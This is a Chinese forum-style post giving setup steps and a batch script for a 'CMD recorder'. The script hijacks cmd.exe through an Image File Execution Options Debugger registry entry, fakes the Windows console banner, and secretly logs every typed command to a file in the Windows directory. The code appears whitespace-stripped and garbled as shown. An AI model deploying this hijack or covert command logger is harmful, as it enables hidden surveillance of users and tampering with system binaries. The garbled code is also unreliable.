安装把代码保存为cmd.bat放置system32下把cmd.execopy为cmd.gif

注册表添加

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionscmd.exe

字串Debugger

字串内容cmd.gif/ccmd.bat

复制代码 代码如下:

@echooff

title%ComSpec%

remCMD记录器改良版

rem原作者superjj(可能是马甲！)

rem原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html

rem由我allyesno改良(是本人不是马甲！)

rem容错代码就不改良了，一些细节部分自己添加！

setlocalEnableDelayedExpansion

echoMicrosoftWindowsXP[版本5.1.2600]

echo(C)版权所有1985-2001MicrosoftCorp.

echo.

for/l%%iin(0,0,0)do(

set/pstrCMD=%cd%^>

if"!strcmd!"=="whoami"echoallyesno&setstrcmd=

if"!strcmd!"=="log"type%windir%history.txt&setstrcmd=

if"!strcmd!"=="logclear"del%windir%history.txt&setstrcmd=

for/f"delims="%%iin("!strCMD!")doecho%%i>>%windir%history.txt

!strCMD!

echo.